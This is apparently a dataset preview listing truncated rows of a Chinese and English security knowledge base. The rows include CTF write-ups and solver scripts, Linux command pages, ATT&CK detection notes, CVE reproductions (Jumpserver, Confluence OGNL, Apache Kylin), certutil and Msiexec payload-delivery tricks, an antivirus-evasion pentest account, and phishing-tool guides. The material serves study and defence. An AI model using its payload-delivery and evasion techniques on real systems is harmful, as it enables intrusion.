text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
# 61. 扑克牌顺子
## 题目链接
[NowCoder](https://www.nowcoder.com/practice/762836f4d43d43ca9deb273b3de8e1f4?tpId=13&tqId=11198&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
五张牌,其中大小鬼为癞子,牌面为 0。判断这五张牌是否能组成顺子。
<div align="center"> <img src="https://cs-notes-1256109796.cos.... | sec-knowleage |
.\" Copyright (c) Bruno Haible <haible@clisp.cons.org>
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" ... | sec-knowleage |
# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
... | sec-knowleage |
# re4 (re, 390pts)
```
michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file WH2018.exe
WH2018.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
```
Hm, another .Net binary?

🤔

Okay, something is definietly off here...
# Repairing the binary
Throughou... | sec-knowleage |
mkswap
===
建立和设置SWAP交换分区
## 补充说明
**mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。
### 语法
```shell
mkswap(选项)(参数)
```
### 选项
```shell
-c:建立交换区前,先检查是否有损坏的区块;
-f:在SPARC电脑上建立交换区时,要加上此参数;
-v0:建立旧式交换区,此为预设值;
-v1:建立新式交换区。
```
### 参数
设备:指定交换空间对应的设备文件或者... | sec-knowleage |
# CB1
Crypto, 50 points
## Description
> ~C8 =39 A?2V8 73J:C 8FG7 AF?JJC2ECP
>
> DF?LHb=r_>b0%_0520<c8bPN
## Solution
We'll use the same script from [CB1](CB1.md) to try and guess the solution using ROT and frequency analysis.
If we use the script and attempt to guess the solution for the complete text, we get:
```
ro... | sec-knowleage |
# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazo... | sec-knowleage |
### 申请内存块关于__libc_malloc介绍
一般我们会使用 malloc 函数来申请内存块,可是当仔细看 glibc 的源码实现时,其实并没有 malloc 函数。其实该函数真正调用的是 \_\_libc_malloc 函数。为什么不直接写个 malloc 函数呢,因为有时候我们可能需要不同的名称。此外,__libc_malloc 函数只是用来简单封装 _int_malloc 函数。\_int_malloc 才是申请内存块的核心。下面我们来仔细分析一下具体的实现。
该函数会首先检查是否有内存分配函数的钩子函数(__malloc_hook),这个主要用于用户自定义的堆分配函数,方便用户快速修改堆分配函数并进行测试。这里需要注... | sec-knowleage |
# Grafana
## Introduction
What would you do if you came across a website that uses Joomla ?
## How to Detect
Try to HTTP request to `https://example.com/` and if you see the source code, you will see something like this `<meta name="generator" content="Joomla! - Open Source Content Management" />`
1. Find the related C... | sec-knowleage |
---
title: Git
date: 2020-11-25 18:28:43
background: bg-[#d7593e]
tags:
- github
- gitlab
- version
- VCS
categories:
- Linux Command
intro: This cheat sheet summarizes commonly used Git command line instructions for quick reference.
plugins:
- copyCode
---
Getting Started
---------------
### Cr... | sec-knowleage |
version: '2'
services:
apache:
image: php:apache
volumes:
- ./www:/var/www/html
- ./conf/docker-php.conf:/etc/apache2/conf-enabled/docker-php.conf
- ./start.sh:/var/www/start.sh
command: /bin/sh /var/www/start.sh
ports:
- "80:80" | sec-knowleage |
---
title: Laravel
date: 2021-11-09 18:26:55
background: bg-[#e44230]
label: PHP
tags:
- web
- framework
- php
categories:
- Programming
intro: |
[Laravel](https://laravel.com/docs/8.x/) is an expressive and progressive web application framework for PHP.
This cheat sheet provides a reference fo... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE TABLE AS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE TABLE AS \- 从一条查询的结果中创建一个新表
.SH SYNOPSIS
.sp
.nf
CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE \fItable_name\fR [ (\fIcolumn_name\fR [, ...] ) ]
AS \fI... | sec-knowleage |
domainname
===
显示和设置系统的NIS域名
## 补充说明
**domainname命令** 用于显示和设置系统的NIS域名。
### 语法
```shell
domainname(选项)(参数)
```
### 选项
```shell
-v:详细信息模式;
-F:指定读取域名信息的文件。
```
### 参数
NIS域名:指定要设置的NIS域名。
### 实例
```shell
[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`(none)'
(none)
[root@AY1307311912260196fcZ ~]# domain... | sec-knowleage |
# Logged In
Web
## Description:
> Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.
## Solution:
This is a "Wee" challenge -... | sec-knowleage |
# 威胁情报自动化生产
本文从看到果胜师傅的“浅谈基于开源工具的威胁情报自动化生产”[1]一文开始思考和整理。
在经过自己一段时间学习后发现,威胁情报的自动化生产过程,在场景上很受部署环境、应用场景的限制,在本篇中所整理的威胁情报生产是在一个理想化的宽松环境下进行:可联网,不考虑数据敏感度,不考虑其他部署环境的限制,不考虑数据源限制。
关于威胁情报本地化生产的部分,将在《威胁情报私有化生产》一文中给出。(挖坑现场,咕咕咕)
## 背景
“对于红队和渗透测试人员来说,获取更多的漏洞情报,将自己的基础设施和工具链条**隐藏在已知威胁情报之外**也是提高行动成功率的重要措施”[1]
"如果不能在本地**结合自身业务**对互联网威胁情报平台... | sec-knowleage |
# Who are you?
Category: Web, 100 points
## Description
> Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn
## Solution
Let's visit the attached website:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl -s http://mercury.picoctf.net:38322/
<!DOCTYPE html>
<html lang="en">
<head>
<title>Who are you?... | sec-knowleage |
import subprocess, sys
def gdb(txt):
p=subprocess.Popen(["gdb", "qqq"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write("set disassembly-flavor intel\n")
p.stdin.write("b *0x804820a\n")
p.stdin.write("r --pctfkey PCTF{1234567890qwertyuiop1234567890qwertyuiop1234567}\nc\n")
p.stdin.writ... | sec-knowleage |
### certutil微软官方是这样对它解释的:
> Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
url:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732443(v=ws.11)
但是近些年好像被玩坏了。
**靶机:**windows 2003 windows 7
```bash
certutil.exe -ur... | sec-knowleage |
> 一次普通的项目,做完后,却陈思很久,遂打算一气合成把整个流程记录下来,此篇再一次的叮嘱我:分享便是我最好的老师。
> Micropoor
拿shell过程略过。(由于文章在项目实施结束形成,故部分无图或补图)
-------
### 目标机背景:
windows 2008 r2 x64位 360主动 + 360卫士 + 360杀毒 + waf,目标机仅支持 aspx。运行 OAWeb 服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql 数据库,不支持 php,无 .net for mysql 驱动)
.
## Solution:
For this flag, we'll investigate who's sending out a significant amount of data.
Let's start by getting statistics for the amount of bytes sent from an internal host to an external host:
```python
df... | sec-knowleage |
# 16-bit-AES
Crypto, 100 points
## Description
> Why so small?
## Solution
We connect to the server and see the following message:
```console
root@kali:/media/sf_CTFs/sunshine/16_bit_AES# nc archive.sunshinectf.org 19003
Welcome, I'm using an AES-128 cipher with a 16-bit key in ECB mode.
I'll give you some help: give m... | sec-knowleage |
chroot
===
把根目录换成指定的目的目录
## 补充说明
**chroot命令** 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以`/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为`/`位置。
在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个:
**增加了系统的安全性,限制了用户的权力:**
在经过 chroot 之后,在新根下将访问不到旧系统的根目... | sec-knowleage |
free
===
显示内存的使用情况
## 补充说明
**free命令** 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。
### 语法
```shell
free(选项)
```
### 选项
```shell
-b # 以Byte为单位显示内存使用情况;
-k # 以KB为单位显示内存使用情况;
-m # 以MB为单位显示内存使用情况;
-g # 以GB为单位显示内存使用情况。
-o # 不显示缓冲区调节列;
-s<间隔秒数> # 持续观察内存使用状况;
-t # 显示内存总和列;
-V # 显示版本信息。
```
### 实例
```shell
free -t # 以总和的形... | sec-knowleage |
ls
===
显示目录内容列表
## 补充说明
**ls命令** 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
### 语法
```shell
ls [选项] [文件名...]
[-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time]
[--format={long,verbose,commas,across,vertical,single-col‐umn}]
[--sort={none,time,size,ex... | sec-knowleage |
# SpyFi
Cryptography, 300 points
## Description:
> James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you?
```python
#!/usr/bin/python2 -u
from Crypto.Cipher import AES
agent_code = """flag"""
def pa... | sec-knowleage |
/*
* Copyright 2015-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... | sec-knowleage |
clearText = pow(0x025051c6c4e82266e0b9e8a47266531a01d484b0dc7ee629fb5a0588f15bf50281f46cf08be71e067ac7166580f144a6bdcc83a90206681c2409404e92474b37de67d92fd2fa4bc4bd119372b6d50c0377758fc8e946d203a040e04d6bfe41dfb898cd4e36e582f16ad475915ac2c6586d874dd397e7ed1cb2d3f2003586c257, 89508186630638564513494386415865407147609702... | sec-knowleage |
#!/usr/bin/env python3
"""
Usage:
python3 scaffold.py new hxp "hxp CTF 2021" 10 1017
python3 scaffold.py add hxp "Log 4 Sanity" misc
"""
from pathlib import Path
from datetime import datetime
import argparse
import re
def new_ctf(args):
stamp = datetime.now().isoformat()[:10]
dirname = f"{stamp}-{args.slu... | sec-knowleage |
# T1114-001-win-本地电子邮件收集
## 来自ATT&CK的描述
攻击者可能会在用户本地系统上收集电子邮箱信息,用以收集敏感信息。可以从用户的本地系统中获取包含电子邮件数据的文件,例如Outlook存储或缓存文件。
Outlook将数据本地存储在扩展名为.ost的脱机数据文件中。Outlook 2010和更高版本支持.ost文件大小最大为50GB,而早期版本的Outlook支持最大20GB。Outlook 2013(及更早版本)和POP帐户中的IMAP帐户使用Outlook数据文件(.pst),而不是.ost,而Outlook 2016(及更高版本)中的IMAP帐户使用.ost文件。两种类型的Outlook数据文件通常... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP SCHEMA" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP SCHEMA \- 删除一个模式
.SH SYNOPSIS
.sp
.nf
DROP SCHEMA \fIname\fR [, ...] [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP SCHEMA\fR 从数据库中删除模式。
.PP
模式只能被它的所有者或者超... | sec-knowleage |
# T1021-006-win-远程powershell会话
## 来自ATT&CK的描述
攻击者可以使用“ 有效帐户”使用Windows远程管理(WinRM)与远程系统进行交互。然后,攻击者可以以登录用户的身份执行操作。
WinRM是Windows服务和协议的名称,该协议允许用户与远程系统进行交互(例如,运行可执行文件,修改注册表,修改服务)。可以使用winrm命令或任何数量的程序(例如PowerShell)来调用它。
## 测试案例
本测试案例主要模拟powershell Enter-PSSession -ComputerName \<RemoteHost\>创建一个远程PowerShell会话。
## 检测日志
windows... | sec-knowleage |
# Prime (ppc 100)
###ENG
[PL](#pl-version)
In the task we get a lot of [files](encrypted.zip) with a large number as filename and a single byte as content.
The goal of this task is to extract contents from all files which have a prime number as name.
We do this with a simple script and gmpy2.is_prime():
```python
impor... | sec-knowleage |
# terraform
---
**Error: Error acquiring the state lock**
```
terraform force-unlock -force xxxxx-xxxx-xxx-xxxxx
```
```
ps aux | grep terraform
sudo kill -9 <process_id>
```
---
## vultr providers
### vps
- https://registry.terraform.io/providers/vultr/vultr/latest/docs/resources/instance
**main.tf**
```conf
resource ... | sec-knowleage |
**注:**请多喝点热水或者凉白开,身体特别重要。
### Msiexec简介:
Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。
**说明:**Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。
### 基于白名单Msiexec.exe配置payload:
Windows 2003 默认位置:
```bash
C:\WINDOWS\system32\m... | sec-knowleage |
# 软件逆向工程简介
## 定义
> Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object; ------ from [wikipedia](https://en.wikipedia.org/wiki/Reverse_engineering)
软件代码逆向主要指对软件的结构,流程,算法,代码等进行逆向拆解... | sec-knowleage |
# Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)
Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库[django-simple-captcha](https://github.com/mbi/django-simple-captcha)泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。
参考链接:
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
- <https://mp.weixin.qq... | sec-knowleage |
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBMOUNT" 8 "" "" ""
.SH NAME
.B s... | sec-knowleage |
# T1070-001-win-检测cipher.exe删除数据
## 来自ATT&CK的描述
攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。
在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。
在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "END" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
END \- 提交当前的事务
.SH SYNOPSIS
.sp
.nf
END [ WORK | TRANSACTION ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBEND\fR END 提交当前事务。 所有当前事务做的修改都可被其它事务看到并且保证在发生崩溃的情况下的持续性。 它是一个 PostgreSQL 的扩展,等效于 COMMI... | sec-knowleage |
# WrestlerBook
Web, 100 points
## Description
> WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn't get an invite don't even bother trying to view our profiles.
## Solution
We visit the attached site and see a login page:
```html
<div class="login-... | sec-knowleage |
# nuclei
`非常优秀的漏洞扫描工具,值得学习!`
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei)
**语法规则**
- https://nuclei.projectdiscovery.io/templating-guide
- https://nuclei.projectdiscovery.io/template-examples/http/
**模板库**
- [projec... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHA1SUM 1 2022年9月 "GNU coreutils ... | sec-knowleage |
# T1190-Influxdb<1.7.6未授权访问漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10... | sec-knowleage |
# 考证经验分享
> 官网:https://training.zeropointsecurity.co.uk/courses/red-team-ops
## 简介
Certified Red Team Operator(CRTO)是一种专业证书,证明了个人在红队运作领域的专业知识和能力。红队运作是指在组织的信息系统和网络上进行模拟网络攻击,由一组安全专家进行,旨在识别组织的安全弱点和漏洞。
CRTO证书通常由安全培训和认证机构提供,面向参与红队运作的个人,如渗透测试人员,安全顾问和事件响应人员。获得证书的过程通常包括一次考试,测试个人对红队运作方法,工具和技术的知识,以及在实际场景中应用这些知识的能力。
持有 CRTO证书表明个人对... | sec-knowleage |
id
===
打印真实以及有效的用户和所在组的信息
## 概要
```shell
id [OPTION]... [USER]...
```
## 主要用途
- 没有选项时,打印指定用户ID信息。
## 选项
```shell
-a 兼容性选项,没有实际作用。
-Z, --context 只打印进程的安全上下文。
-g, --group 只打印有效的组ID。
-G, --groups 打印全部组ID。
-u, --user 只打印有效的用户ID。
-z, --zero 使用空字符代替默认的空格来分隔条目。
--help 显示帮助信息并退出。... | sec-knowleage |
# SET
<p align="center">
<img src="../../../assets/img/logo/set.png" width="30%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/trustedsec/social-engineer-toolkit/
**文章 & Reference**
- [Kali Linux工具集简介 - SET - 邮箱](https://blog.csdn.net/lendq/article/details/... | sec-knowleage |
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License... | sec-knowleage |
# 分布式
<!-- GFM-TOC -->
* [分布式](#分布式)
* [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [2PC](#2pc)
* [本地消息表](#本地消息表)
* [三、... | sec-knowleage |
# Simple notes (web, 50p, 16 solved)
In the challenge we get access to some simple webapp, where each user gets his own sandbox and then we can theoretically upload `small files`, and there are some options to list our files.
If we look closely, the listing feature actually includes `cmd` GET parameter, which contains ... | sec-knowleage |
import requests
from bs4 import BeautifulSoup
from pwn import *
from PIL import Image, ImageDraw
import re
import qrtools
session = requests.Session()
def get_image(answer):
source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/', data={'ans': answer}).content
soup = BeautifulSoup(source)
#print... | sec-knowleage |
# Radix's Terminal
Reversing, 400 points
## Description:
> Can you find the password to Radix's login?
A binary file was attached.
## Solution:
Let's run the program and inspect the output:
```console
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# ./radix
Please provide a password!
root@kali:/media/sf_CTFs/pico/Radixs_... | sec-knowleage |
# poet
PWN
## Description:
> We are looking for the poet of the year
A binary file was attached.
## Solution:
Let's see what the program does:
```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# ./poet
**********************************************************
* We are searching for the poet of the year 2018. *
* Su... | sec-knowleage |
## Intent Scheme URL 漏洞
> YAQ御安全 发布于 2016-12-09
### 漏洞描述
如果浏览器支持Intent Scheme Uri语法,但对 intent 过滤不当,那么恶意用户可能通过浏览器js代码进行一些恶意行为,比如盗取cookie等。
### 影响范围
过滤不严的 browser
### 漏洞详情
#### 漏洞位置
browser 通过 Intent.parseUri 来解析 uri。
```java
Intent.parseUri()
```
通过Context.startActivityIfNeeded或者Context.startActivity发送intent
```java
sta... | sec-knowleage |
import random
import struct
import sys
from typing import List
# for (j = 0LL; j != 64; j += 8LL)
# {
# v736[j + 0] = (((((((v735[j] * pubkey_part[128] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[136]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[144]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[152]) % 0xFFFFFFFB + v735[j... | sec-knowleage |
#try(web, 150, 67 solves)
> "I never try anything, I just do it!" Do
> Flag is in /challenge/flag

We are able to execute haskell scripts that are stored on the server, we are also able to upload a profile gif.
Our challenge is to read `/challenge/flag`
We should be able to upload a script that is also... | sec-knowleage |
version: '2'
services:
es:
image: vulhub/elasticsearch:1.5.1-with-tomcat
ports:
- "9200:9200"
- "8080:8080" | sec-knowleage |
---
title: 启用插件缓存
---
<center><h1>启用插件缓存</h1></center>
---
在刚刚进行 init 初始化时,Terraform 会根据 tf 文件内的 Provider 下载对应的插件,这些插件往往体积比较大。
例如上面初始化时下载的 AWS Provider 体积就有两百多兆,如果不启用插件缓存,那么在每个 Terraform 项目中都会反复下载这些插件,就很浪费磁盘空间与流量,因此建议将插件缓存开启。
Windows 下是在相关用户的 %APPDATA% 目录下创建名为 "terraform.rc" 的文件,Macos 和 Linux 用户则是在用户的 home 下创建名为 ".terr... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CHECKPOINT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CHECKPOINT \- 强制一个事务日志检查点
.SH SYNOPSIS
.sp
.nf
CHECKPOINT
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
预写式日志(Write-Ahead Logging (WAL))缺省时在事务日志中每隔一段时间放一个检查点。 (要调整这个原子化的检查点间隔,你可以参考运行时选项 chec... | sec-knowleage |
# Y0usef
> https://download.vulnhub.com/y0usef/y0usef.ova
靶场IP :`192.168.2.7`
扫描对外端口
```
┌──(root㉿kali)-[/opt]
└─# nmap -p1-65535 -sV 192.168.2.7
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 10:17 EDT
Nmap scan report for 192.168.2.7
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT... | sec-knowleage |
import Image
import sys
import os
IBM_MODEL_029_KEYPUNCH = [
" /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'=x`.<(+|!$*);^~,%_>? |",
"12 / O OOOOOOOOO OOOOOO |",
"11| O OOOOOOOOO OOOOOO |",
" 0| O ... | sec-knowleage |
sh
===
shell命令解释器
## 补充说明
**sh命令** 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。
### 语法
```shell
bash [options] [file]
```
### 选项
```shell
-c string:命令从-c后的字符串读取。
-i:实现脚本交互。
-n:进行shell脚本的语法检查。
-... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP TRIGGER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP TRIGGER \- 删除一个触发器定义
.SH SYNOPSIS
.sp
.nf
DROP TRIGGER \fIname\fR ON \fItable\fR [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP TRIGGER\fR 将删除所有对一个现存触发器的引... | sec-knowleage |
[计算机网络.md](https://github.com/CyC2018/CS-Notes/blob/master/notes/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%20-%20%E7%9B%AE%E5%BD%95.md) | sec-knowleage |
### Ethereum定义
> Ethereum is a decentralized, open-source blockchain featuring smart contract functionality. Ether (ETH) is the native cryptocurrency of the platform. It is the second-largest cryptocurrency by market capitalization, after Bitcoin. Ethereum is the most actively used blockchain. ------ from [wikipedia]... | sec-knowleage |
# re1 (re, 100pts)
List of executable resources viewed in Resource Hacker:

The most interesting function is 0x40111D:
```c++
signed int __stdcall sub_40111D(int a1)
{
HGLOBAL v1; // eax
HRSRC v2; // eax
HRSRC v3; // esi
HGLOBAL v4; // eax
const void *v5; // edi
HANDLE v6; // esi
... | sec-knowleage |
#2018移动安全事记
时间线
- 0x00
- 1.2 [恶意样本分析手册–溯源篇](http://blog.nsfocus.net/trace-source/)
- 1.3 [《绝地求生》辅助程序暗藏挖矿木马](http://www.freebuf.com/news/158892.html)
- 1.2 [2017勒索软件威胁形势分析报告](https://www.secpulse.com/archives/66838.html)
- 1.3 [RASP技术分析](http://blog.nsfocus.net/rasp-tech/)
- 1.4 [“一个人”的互金企业安全建设总结](http://www.freebu... | sec-knowleage |
# xray
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/chaitin/xray
**官方文档**
- https://docs.xray.cool/
**相关文章**
- [对5.6w条xray结果的简单分析](https://mp.weixin.qq.com/s/vhNGTBq8owncjlWyPJ0XGA)
---
## 使用
**生成证书**
```
xray genca
```
**爬虫爬取**
```bash
xray webscan --basic-crawler ... | sec-knowleage |
# Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
参考链接:
- <https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
- <https://attackerkb.com/topics/BH1D56ZEhs/cv... | sec-knowleage |
opcodes = """
public static final int NOP = 0;
public static final int INCSP = 1;
public static final int POPV = 2;
public static final int ADD = 3;
public static final int SUB = 4;
public static final int MUL = 5;
public static final int DIV = 6;
public static final int AND = 7;
pub... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "MOVE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
MOVE \- 重定位一个游标
.SH SYNOPSIS
.sp
.nf
MOVE [ \fIdirection\fR { FROM | IN } ] \fIcursorname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBMOVE\fR 在不检索数据的情况下重新定位一个游标。 MOVE ALL 把游标移动到结尾。 MOVE 的工作... | sec-knowleage |
#!/usr/bin/python2
import binascii
import textwrap
def tb(s): # to binary
return bin(int(binascii.hexlify(s),32/2)).lstrip("0b")
def te(s): # pad to 128 bits
p = 2 << 6
return s + "0" * (p-len(s)%p)
def tk(s): # split into 64 bit blocks
return textwrap.wrap(s, 2<<5) #64
def tj(s): # split into 16 bit blocks
re... | sec-knowleage |
# 0x00 特殊符号
MySQL中数据一般用一些符号包裹起来 如
```
mysql> select * from admin where id = "1";
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
```
常用到的特殊符号有那些呢
```
''
""
()
{}
\
\\
``
%
```
每个符号都是我们后期用来b... | sec-knowleage |
# Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
Electron在设置了`nodeIntegration=false`的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP... | sec-knowleage |
### Simon Block Cipher基本介绍
Simon 块加密算法由 NSA 2013 年 6 月公布,主要在**硬件实现**上进行了优化。
Simon Block Cipher 是平衡的 [Feistel cipher](https://en.wikipedia.org/wiki/Feistel_cipher) 加密,一共有两块,若每块加密的大小为 n bits,那么明文的大小就是 2n bits。此外,一般来说,该加密中所使用的密钥长度是块长度的整数倍,比如 2n,4n等。
一般来说,Simon 算法称之为 Simon 2*n*/nm,n 为块大小,m 是块大小与密钥之间的倍数。比如说 Simon 48/96 就是指... | sec-knowleage |
## gophish概述
开源钓鱼工具:支持配置钓鱼邮件模板、公司员工邮箱信息等等;
[github地址](https://github.com/gophish/gophish)
## 安装与使用
### Centos7安装gophish
```
# 下载
